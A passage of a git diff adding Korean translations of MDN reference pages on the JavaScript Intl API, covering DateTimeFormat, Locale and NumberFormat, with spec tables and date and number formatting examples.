+ hour: 'numeric', minute: 'numeric', second: 'numeric',
+ timeZone: 'Australia/Sydney',
+ timeZoneName: 'short'
+};
+console.log(new Intl.DateTimeFormat('en-AU', options).format(date));
+// → "2:00:00 pm AEDT"
+
+// 미국에서도 24시간제가 필요할 때
+options = {
+ year: 'numeric', month: 'numeric', day: 'numeric',
+ hour: 'numeric', minute: 'numeric', second: 'numeric',
+ hour12: false,
+ timeZone: 'America/Los_Angeles'
+};
+console.log(new Intl.DateTimeFormat('en-US', options).format(date));
+// → "12/19/2012, 19:00:00"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int 1.0', '#sec-12.1', 'Intl.DateTimeFormat')}}</td>
+ <td>{{Spec2('ES Int 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int 2.0', '#sec-12.1', 'Intl.DateTimeFormat')}}</td>
+ <td>{{Spec2('ES Int 2.0')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int Draft', '#datetimeformat-objects', 'Intl.DateTimeFormat')}}</td>
+ <td>{{Spec2('ES Int Draft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl.DateTimeFormat")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/Intl', '같이_보기')}}</div>
diff --git a/files/ko/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html b/files/ko/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html
new file mode 100644
index 0000000000..1990621642
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/intl/datetimeformat/prototype/index.html
@@ -0,0 +1,86 @@
+---
+title: Intl.DateTimeFormat.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype
+tags:
+ - DateTimeFormat
+ - Internationalization
+ - Intl
+ - JavaScript
+ - Property
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Intl.DateTimeFormat.prototype</code></strong> 속성은 {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Intl.DateTimeFormat</code> 인스턴스에 대한 설명은 {{jsxref("DateTimeFormat")}} 문서를 참고하세요.</p>
+
+<p>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} 인스턴스는 <code>Intl.DateTimeFormat.prototype</code>을 상속합니다. 프로토타입 객체를 변경하면 모든 {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} 인스턴스가 영향을 받습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Intl.DateTimeFormat.prototype.constructor</code></dt>
+ <dd>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}에 대한 참조입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("DateTimeFormat.format", "Intl.DateTimeFormat.prototype.format()")}}</dt>
+ <dd>주어진 날짜에 {{jsxref("DateTimeFormat")}} 객체의 로케일과 서식 설정을 적용해 반환합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("DateTimeFormat.formatToParts", "Intl.DateTimeFormat.prototype.formatToParts()")}}</dt>
+ <dd>서식을 적용한 날짜 문자열의 각 부분을 객체로 표현해서 {{jsxref("Array")}}로 반환합니다. 반환 값은 로케일별 커스텀 서식에 사용할 수 있습니다.</dd>
+ <dt>{{jsxref("DateTimeFormat.resolvedOptions", "Intl.DateTimeFormat.prototype.resolvedOptions()")}}</dt>
+ <dd>객체 인스턴스 생성 때 주어진 로케일과 서식 설정이 어떻게 반영되었나 나타내는 새로운 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int 1.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}</td>
+ <td>{{Spec2('ES Int 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int 2.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}</td>
+ <td>{{Spec2('ES Int 2.0')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype', 'Intl.DateTimeFormat.prototype')}}</td>
+ <td>{{Spec2('ES Int Draft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl.DateTimeFormat.prototype")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/intl/index.html b/files/ko/web/javascript/reference/global_objects/intl/index.html
new file mode 100644
index 0000000000..569fb94b80
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/intl/index.html
@@ -0,0 +1,134 @@
+---
+title: Intl
+slug: Web/JavaScript/Reference/Global_Objects/Intl
+tags:
+ - Internationalization
+ - Intl
+ - JavaScript
+ - Reference
+ - 국제화
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Intl</code></strong> 객체는 각 언어에 맞는 문자비교, 숫자, 시간, 날짜비교를 제공하는, ECMAScript 국제화 API를 위한 이름공간입니다. {{jsxref("Collator")}}, {{jsxref("NumberFormat")}}, {{jsxref("DateTimeFormat")}}는 <code>Intl</code> 객체의 속성을 위한 생성자입니다. 이 페이지는 일반적인 국제화의 기능을 수행하는 객체의 생성자들과 언어를 구분하는 함수들 뿐만 아니라 이러한 속성들에 대해서도 다루고 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("Collator", "Intl.Collator")}}</dt>
+ <dd>콜레이터 생성자입니다. 콜레이터 객체는 각 언어에 맞는 문자열 비교를 가능하게 해줍니다.</dd>
+ <dt>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</dt>
+ <dd>각 언어에 맞는 시간과 날짜 서식을 적용할 수 있는 객체의 생성자입니다.</dd>
+ <dt>{{jsxref("ListFormat", "Intl.ListFormat")}}</dt>
+ <dd>각 언어에 맞는 목록 서식을 적용할 수 있는 객체의 생성자입니다.</dd>
+ <dt>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</dt>
+ <dd>각 언어에 맞는 숫자 서식을 적용할 수 있는 객체의 생성자입니다.</dd>
+ <dt>{{jsxref("PluralRules", "Intl.PluralRules")}}</dt>
+ <dd>각 언어에 맞는 복수형 규칙 및 단수 복수 구분 서식을 적용할 수 있는 객체의 생성자입니다.</dd>
+ <dt>{{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}</dt>
+ <dd>각 언어에 맞는 상대 시간 서식을 적용할 수 있는 객체의 생성자입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Intl.getCanonicalLocales()")}}</dt>
+ <dd>표준 로케일 이름 목록을 반환합니다.</dd>
+</dl>
+
+<h2 id="로케일_식별과_조정">로케일 식별과 조정</h2>
+
+<p>The internationalization constructors as well as several language sensitive methods of other constructors (listed under {{anch("See_also", "See also")}}) use a common pattern for identifying locales and determing the one they will actually use: they all accept <code>locales</code> and <code>options</code> arguments, and negotiate the requested locale(s) against the locales they support using an algorithm specified in the <code>options.localeMatcher</code> property.</p>
+
+<h3 id="locales_매개변수"><code>locales</code> 매개변수</h3>
+
+<p>The <code>locales</code> argument must be either a string holding a <a href="http://tools.ietf.org/html/rfc5646">BCP 47 language tag</a>, or an array of such language tags. If the <code>locales</code> argument is not provided or is undefined, the runtime's default locale is used.</p>
+
+<p>A BCP 47 language tag identifies a language or locale (the difference between the two is fuzzy). In their most common form it can contain, in this order: a language code, a script code, and a country code, all separated by hyphens. Examples:</p>
+
+<ul>
+ <li><code>"hi"</code>: Hindi.</li>
+ <li><code>"de-AT"</code>: German as used in Austria.</li>
+ <li><code>"zh-Hans-CN"</code>: Chinese written in simplified characters as used in China.</li>
+</ul>
+
+<p>The subtags identifying languages, scripts, countries (regions), and (rarely used) variants in BCP 47 language tags can be found in the <a href="http://www.iana.org/assignments/language-subtag-registry">IANA Language Subtag Registry</a>.</p>
+
+<p>BCP 47 also allows for extensions, and one of them matters to the JavaScript internationalization functions: the <code>"u"</code> (Unicode) extension. It can be used to request a customization of the locale-specific behavior of a {{jsxref("Collator")}}, {{jsxref("NumberFormat")}}, or {{jsxref("DateTimeFormat")}} object. Examples:</p>
+
+<ul>
+ <li><code>"de-DE-u-co-phonebk"</code>: Use the phonebook variant of the German sort order, which expands umlauted vowels to character pairs: ä → ae, ö → oe, ü → ue.</li>
+ <li><code>"th-TH-u-nu-thai"</code>: Use Thai digits (๐, ๑, ๒, ๓, ๔, ๕, ๖, ๗, ๘, ๙) in number formatting.</li>
+ <li><code>"ja-JP-u-ca-japanese"</code>: Use the Japanese calendar in date and time formatting, so that 2013 is expressed as the year 25 of the Heisei period, or 平成25.</li>
+</ul>
+
+<h3 id="로케일_조정">로케일 조정</h3>
+
+<p>The <code>locales</code> argument, after stripping off all Unicode extensions, is interpreted as a prioritized request from the application. The runtime compares it against the locales it has available and picks the best one available. Two matching algorithms exist: the <code>"lookup"</code> matcher follows the Lookup algorithm specified in <a href="http://tools.ietf.org/html/rfc4647#section-3.4">BCP 47</a>; the <code>"best fit"</code> matcher lets the runtime provide a locale that's at least, but possibly more, suited for the request than the result of the Lookup algorithm. If the application doesn't provide a <code>locales</code> argument, or the runtime doesn't have a locale that matches the request, then the runtime's default locale is used. The matcher can be selected using a property of the <code>options</code> argument (see below).</p>
+
+<p>If the selected language tag had a Unicode extension substring, that extension is now used to customize the constructed object or the behavior of the function. Each constructor or function supports only a subset of the keys defined for the Unicode extension, and the supported values often depend on the language tag. For example, the <code>"co"</code> key (collation) is only supported by {{jsxref("Collator")}}, and its <code>"phonebk"</code> value is only supported for German.</p>
+
+<h3 id="options_매개변수"><code>options</code> 매개변수</h3>
+
+<p>The <code>options</code> argument must be an object with properties that vary between constructors and functions. If the <code>options</code> argument is not provided or is undefined, default values are used for all properties.</p>
+
+<p>One property is supported by all language sensitive constructors and functions: The <code>localeMatcher</code> property, whose value must be a string <code>"lookup"</code> or <code>"best fit"</code> and which selects one of the locale matching algorithms described above.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int 1.0', '#sec-8', 'Intl')}}</td>
+ <td>{{Spec2('ES Int 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int 2.0', '#sec-8', 'Intl')}}</td>
+ <td>{{Spec2('ES Int 2.0')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int Draft', '#intl-object', 'Intl')}}</td>
+ <td>{{Spec2('ES Int Draft')}}</td>
+ <td>Added Intl.getCanonicalLocales in the 4th edition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Intl")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>소개글: <a href="http://norbertlindenberg.com/2012/12/ecmascript-internationalization-api/index.html">The ECMAScript Internationalization API</a></li>
+ <li>생성자
+ <ul>
+ <li>{{jsxref("Collator", "Intl.Collator")}}</li>
+ <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("ListFormat", "Intl.ListFormat")}}</li>
+ <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+ <li>{{jsxref("PluralRules", "Intl.PluralRules")}}</li>
+ <li>{{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}</li>
+ </ul>
+ </li>
+ <li>메서드
+ <ul>
+ <li>{{jsxref("String.prototype.localeCompare()")}}</li>
+ <li>{{jsxref("Number.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/intl/locale/index.html b/files/ko/web/javascript/reference/global_objects/intl/locale/index.html
new file mode 100644
index 0000000000..a768a8bb5d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/intl/locale/index.html
@@ -0,0 +1,77 @@
+---
+title: Intl.Locale
+slug: Web/JavaScript/Reference/Global_Objects/Intl/Locale
+tags:
+ - Internationalization
+ - Intl
+ - JavaScript
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">The <strong><code>Intl.Locale</code></strong> constructor is a standard built-in property of the Intl object that represents a Unicode locale identifier.</span></p>
+
+<p>{{EmbedInteractiveExample("pages/js/intl-locale.html")}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new Intl.Locale(<var>tag</var> [, <var>options</var>])</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>tag</code></dt>
+ <dd>The Unicode locale identifier string.</dd>
+ <dt><code>options</code></dt>
+ <dd>An object that contains configuration for the Locale. Keys are Unicode locale tags, values are valid Unicode tag values.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>The <code><strong>Intl.Locale</strong></code> object was created to allow for easier manipulation of Unicode locales. Unicode represents locales with a string, called a <em>locale identifier</em>. The locale identifier consists of a <em>language identifier</em> and <em>extension tags</em>. Language identifiers are the core of the locale, consisting of <em>language</em>, <em>script</em>, and <em>region subtags</em>. Additional information about the locale is stored in the optional <em>extension tags</em>. Extension tags hold information about locale aspects such as calendar type, clock type, and numbering system type.</p>
+
+<p>Traditionally, the Intl API used strings to represent locales, just as Unicode does. This is a simple and lightweight solution that works well. Adding a Locale class, however, adds ease of parsing and manipulating the language, script, and region, as well as extension tags.</p>
+
+<p><span style="">The Intl.Locale object has the following properties and methods:</span></p>
+
+<h3 id="Properties">Properties</h3>
+
+<dl>
+ <dt>{{jsxref("Locale.prototype", "Intl.Locale.prototype")}}</dt>
+ <dd>The prototype object for the <code>Locale</code> constructor.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td><a href="https://tc39.github.io/proposal-intl-locale/#locale-objects">Intl.Locale proposal</a></td>
+ <td>Stage 3</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl.Locale")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li> <a href="https://github.com/zbraniecki/Intl.js/tree/intllocale">The Intl.Locale Polyfill</a></li>
+ <li><a href="https://www.unicode.org/reports/tr35/#Canonical_Unicode_Locale_Identifiers">Unicode locale identifiers spec</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/intl/locale/language/index.html b/files/ko/web/javascript/reference/global_objects/intl/locale/language/index.html
new file mode 100644
index 0000000000..195b2a06a0
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/intl/locale/language/index.html
@@ -0,0 +1,62 @@
+---
+title: Intl.Locale.prototype.language
+slug: Web/JavaScript/Reference/Global_Objects/Intl/Locale/language
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/language
+---
+<div>{{JSRef}}</div>
+
+<div></div>
+
+<p><span class="seoSummary"><strong><code>Intl.Locale.prototype.language</code></strong> 속성은 locale과 관련된 언어를 반환하는 접근자 속성입니다.</span></p>
+
+<h2 id="Description">Description</h2>
+
+<p>언어는 locale의 핵심 기능 중 하나입니다. 유니 코드 사양은 locale의 언어 식별자를 언어와 지역으로 함께 취급합니다 (예를 들어 영국 영어와 미국 영어 등의 방언과 변형을 구별하기 위해). {{jsxref("Locale", "Locale")}}의 language 속성은 로캘의 언어 하위 태그를 엄격하게 반환합니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="locale_식별자_문자열_인수에서_언어_설정">locale 식별자 문자열 인수에서 언어 설정</h3>
+
+<p>유효한 유니 코드 locale 식별자가 되려면 문자열이 언어 하위 태그로 시작해야합니다. {{jsxref("Locale", "Locale")}} 생성자에 대한 주요 인수는 유효한 유니 코드 locale 식별자여야하므로 생성자가 사용될 때마다 언어 하위 태그가있는 식별자를 전달해야합니다.</p>
+
+<pre class="brush: js">let langStr = new Intl.Locale("en-Latn-US");
+
+console.log(langStr.language); // Prints "en"</pre>
+
+<h3 id="configuration_객체로_언어_오버라이딩_하기">configuration 객체로 언어 오버라이딩 하기</h3>
+
+<p>언어 하위 태그를 지정해야하지만 {{jsxref("Locale", "Locale")}} 생성자는 언어 하위 태그를 재정의 할 수있는 구성 개체를 사용합니다.</p>
+
+<pre class="brush: js">let langObj = new Intl.Locale("en-Latn-US", {language: "es"});
+
+console.log(langObj.language); // Prints "es"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td><a href="https://tc39.github.io/proposal-intl-locale/#sec-Intl.Locale.prototype.language">Intl.Locale.prototype.language proposal</a></td>
+ <td>Stage 3</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+{{Compat("javascript.builtins.Intl.Locale.language")}}</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Locale", "Locale")}}</li>
+ <li><a href="https://www.unicode.org/reports/tr35/#unicode_language_subtag_validity">Unicode language subtag specification</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/intl/numberformat/index.html b/files/ko/web/javascript/reference/global_objects/intl/numberformat/index.html
new file mode 100644
index 0000000000..6d306a0c77
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/intl/numberformat/index.html
@@ -0,0 +1,198 @@
+---
+title: Intl.NumberFormat
+slug: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat
+tags:
+ - Internationalization
+ - Intl
+ - JavaScript
+ - NumberFormat
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Intl.NumberFormat</code></strong>은 언어에 맞는 숫자 서식을 지원하는 객체의 생성자입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-numberformat.html")}}</div>
+
+<p class="hidden">상호작용 가능한 예제의 소스는 GitHub 리포지토리에 보관되어 있습니다. 상호작용 예제 프로젝트에 기여하고 싶으시다면, <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a>를 클론한 후 풀 리퀘스트를 보내주세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Intl.NumberFormat([<var>locales</var>[, <var>options</var>]])
+Intl.NumberFormat.call(<var>this</var>[, <var>locales</var>[, <var>options</var>]])
+</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>locales</code> {{optional_inline}}</dt>
+ <dd>
+ <p><a href="https://ko.wikipedia.org/wiki/IETF_%EC%96%B8%EC%96%B4_%ED%83%9C%EA%B7%B8">BCP 47</a> 언어 태그를 포함하는 문자열이나 문자열의 배열. 로케일 매개변수의 일반적인 형식 및 해석은 {{jsxref("Intl", "<code>Intl</code> 문서", "#Locale_identification_and_negotiation", 1)}}를 참고하세요. 다음의 Unicode 확장 키를 사용할 수 있습니다.</p>
+
+ <dl>
+ <dt><code>nu</code></dt>
+ <dd>사용할 기수법. <code>"arab"</code>, <code>"arabext"</code>, <code>"bali"</code>, <code>"beng"</code>, <code>"deva"</code>, <code>"fullwide"</code>, <code>"gujr"</code>, <code>"guru"</code>, <code>"hanidec"</code>, <code>"khmr"</code>, <code>"knda"</code>, <code>"laoo"</code>, <code>"latn"</code>, <code>"limb"</code>, <code>"mlym"</code>, <code>"mong"</code>, <code>"mymr"</code>, <code>"orya"</code>, <code>"tamldec"</code>, <code>"telu"</code>, <code>"thai"</code>, <code>"tibt"</code> 등을 사용할 수 있습니다.</dd>
+ </dl>
+ </dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>
+ <p>다음 속성을 포함하는 객체.</p>
+
+ <dl>
+ <dt><code>localeMatcher</code></dt>
+ <dd>사용할 로케일 매칭 알고리즘. 가능한 값은 <code>"lookup"</code>과 <code>"best fit"</code>이고, 기본값은 <code>"best fit"</code>입니다. 자세한 정보는 {{jsxref("Intl", "<code>Intl</code> 문서", "#로케일_조정", 1)}}를 참고하세요.</dd>
+ <dt><code>style</code></dt>
+ <dd>사용할 서식 스타일. 가능한 값은 평문 숫자 <code>"decimal"</code>, 통화 서식 <code>"currency"</code>, 백분율 서식 <code>"percent"</code>입니다. 기본값은 <code>"decimal"</code>입니다.</dd>
+ <dt><code>currency</code></dt>
+ <dd>통화 서식에 사용할 통화입니다. 가능한 값은 <a href="https://ko.wikipedia.org/wiki/ISO_4217">ISO 4217 통화 코드</a>로 대한민국 원화 <code>"KRW"</code>, 미국 달러화 <code>"USD"</code>, 유럽 유로화 <code>"EUR"</code> 등을 포함합니다. <a href="http://www.currency-iso.org/en/home/tables/table-a1.html">현재 통화 및 펀드 코드 목록</a>을 참고하세요. 기본값은 없습니다. <code>style</code> 값을 <code>"currency"</code>로 지정했다면, <code>currency</code> 값도 반드시 지정해야 합니다.</dd>
+ <dt><code>currencyDisplay</code></dt>
+ <dd>통화 서식에서 통화를 표시하는 방법. 가능한 값은 €와 같이 현지 통화 기호를 사용하는 <code>"symbol"</code>, ISO 통화 코드를 사용하는 <code>"code"</code>, <code>"dollar"</code> 등 현지 통화 이름을 사용하는 <code>"name"</code>이 있습니다. 기본 값은 <code>"symbol"</code>입니다.</dd>
+ <dt><code>useGrouping</code></dt>
+ <dd>천 단위 구분자 혹은 천/라크/크로르 단위 구분자의 삽입 여부. 가능한 값은 <code>true</code>와 <code>false</code>입니다. 기본 값은 <code>true</code>입니다.</dd>
+ </dl>
+
+ <p>아래 속성은 두 가지 그룹으로 나뉩니다. <code>minimumIntegerDigits</code>, <code>minimumFractionDigits</code>, <code>maximumFractionDigits</code>가 첫 번째 그룹이고, <code>minimumSignificantDigits</code>와 <code>maximumSignificantDigits</code>가 두 번째 그룹으로, 두 번째 그룹 중 하나라도 지정하면 첫 번째 그룹은 모두 무시합니다.</p>
+
+ <dl>
+ <dt><code>minimumIntegerDigits</code></dt>
+ <dd>정수부의 최소 자릿수. 가능한 값은 1부터 21까지의 수로, 기본값은 1입니다.</dd>
+ <dt><code>minimumFractionDigits</code></dt>
+ <dd>소수부의 최소 자릿수. 가능한 값은 0부터 20까지의 수로, 평문 숫자와 백분율 서식의 기본값은 0입니다. 통화 서식의 기본값은 <a href="http://www.currency-iso.org/en/home/tables/table-a1.html">ISO 4217 통화 코드 목록</a>이 제공하는 보조 단위의 자릿수에 따라 다릅니다. (목록에 정보가 없을 경우 2)</dd>
+ <dt><code>maximumFractionDigits</code></dt>
+ <dd>소수부의 최대 자릿수. 가능한 값은 0부터 20까지의 수로, 평문 숫자 서식의 기본값은 <code>minimumFractionDigits</code>와 3 중 더 큰 값입니다. 통화 서식의 기본값은 <code>minimumFractionDigits</code>와, <a href="http://www.currency-iso.org/en/home/tables/table-a1.html">ISO 4217 통화 코드 목록</a>이 제공하는 보조 단위의 자릿수(목록에 정보가 없을 경우 2) 중 더 큰 값입니다. 백분율 서식의 기본값은 <code>minimumFractionDigits</code>와 0 중 더 큰 값입니다.</dd>
+ <dt><code>minimumSignificantDigits</code></dt>
+ <dd>유효숫자의 최소 수. 가능한 값은 1부터 21까지의 수로, 기본값은 1입니다.</dd>
+ <dt><code>maximumSignificantDigits</code></dt>
+ <dd>유효숫자의 최대 수. 가능한 값은 1부터 21까지의 수로, 기본값은 21입니다.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<h3 id="속성">속성</h3>
+
+<dl>
+ <dt>{{jsxref("NumberFormat.prototype", "Intl.NumberFormat.prototype")}}</dt>
+ <dd>모든 인스턴스에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h3 id="메서드">메서드</h3>
+
+<dl>
+ <dt>{{jsxref("NumberFormat.supportedLocalesOf", "Intl.NumberFormat.supportedLocalesOf()")}}</dt>
+ <dd>주어진 로케일 목록 중, 런타임이 지원하는 항목을 배열로 반환합니다.</dd>
+</dl>
+
+<h2 id="NumberFormat_인스턴스"><code>NumberFormat</code> 인스턴스</h2>
+
+<h3 id="속성_2">속성</h3>
+
+<p><code>NumberFormat</code> 인스턴스는 프로토타입의 다음 속성을 상속합니다.</p>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat/prototype', '속성')}}</div>
+
+<h3 id="메서드_2">메서드</h3>
+
+<p><code>NumberFormat</code> 인스턴스는 프로토타입의 다음 메서드를 상속합니다.</p>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat/prototype', '메서드')}}</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본적인_사용_방법">기본적인 사용 방법</h3>
+
+<p>로케일을 지정하지 않고 사용하면 기본 로케일 및 기본 옵션 서식을 적용한 문자열을 반환합니다.</p>
+
+<pre class="brush: js">var number = 3500;
+
+console.log(new Intl.NumberFormat().format(number));
+// → 한국 로케일의 경우 '3,500' 표시
+</pre>
+
+<h3 id="locales_사용하기"><code>locales</code> 사용하기</h3>
+
+<p>다음 예제는 지역화된 숫자 서식의 예시를 보입니다. 어플리케이션의 사용자 인터페이스 언어에 맞는 서식을 적용하려면 <code>locales</code> 매개변수로 적절한 언어(와, 필요한 경우 대체 언어)를 제공하는걸 잊지 마세요.</p>
+
+<pre class="brush: js">var number = 123456.789;
+
+// 독일은 소수점 구분자로 쉼표를 사용하고 천 단위 구분자로 마침표를 사용
+console.log(new Intl.NumberFormat('de-DE').format(number));
+// → 123.456,789
+
+// 대부분의 아랍어 사용 국가에서는 실제 아라비아 숫자를 사용
+console.log(new Intl.NumberFormat('ar-EG').format(number));
+// → ١٢٣٤٥٦٫٧٨٩
+
+// 인도는 천, 라크(십만), 크로르(천만) 단위에 구분자 사용
+console.log(new Intl.NumberFormat('en-IN').format(number));
+// → 1,23,456.789
+
+// nu 확장 키로 기수법 지정 (아래 예시는 중국식 숫자 표기)
+console.log(new Intl.NumberFormat('zh-Hans-CN-u-nu-hanidec').format(number));
+// → 一二三,四五六.七八九
+
+// 발리어와 같이 지원되지 않을 수도 있는 언어를 지정할 때는
+// 다음과 같이 대체 언어를 지정할 수 있음. 아래의 경우 대체 언어는 인도어
+console.log(new Intl.NumberFormat(['ban', 'id']).format(number));
+// → 123.456,789
+</pre>
+
+<h3 id="options_사용"><code>options</code> 사용</h3>
+
+<p><code>options</code> 매개변수를 지정해 결과를 원하는 형태로 바꿀 수 있습니다.</p>
+
+<pre class="brush: js">var number = 123456.789;
+
+// 통화 서식
+console.log(new Intl.NumberFormat('de-DE', { style: 'currency', currency: 'EUR' }).format(number));
+// → 123.456,79 €
+
+// 한국 원화는 보조 통화 단위를 사용하지 않음
+console.log(new Intl.NumberFormat('ko-KR', { style: 'currency', currency: 'KRW' }).format(number));
+// → ₩123,457
+
+// 유효숫자를 세 개로 제한
+console.log(new Intl.NumberFormat('en-IN', { maximumSignificantDigits: 3 }).format(number));
+// → 1,23,000
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int 1.0', '#sec-11.1', 'Intl.NumberFormat')}}</td>
+ <td>{{Spec2('ES Int 1.0')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int 2.0', '#sec-11.1', 'Intl.NumberFormat')}}</td>
+ <td>{{Spec2('ES Int 2.0')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int Draft', '#numberformat-objects', 'Intl.NumberFormat')}}</td>
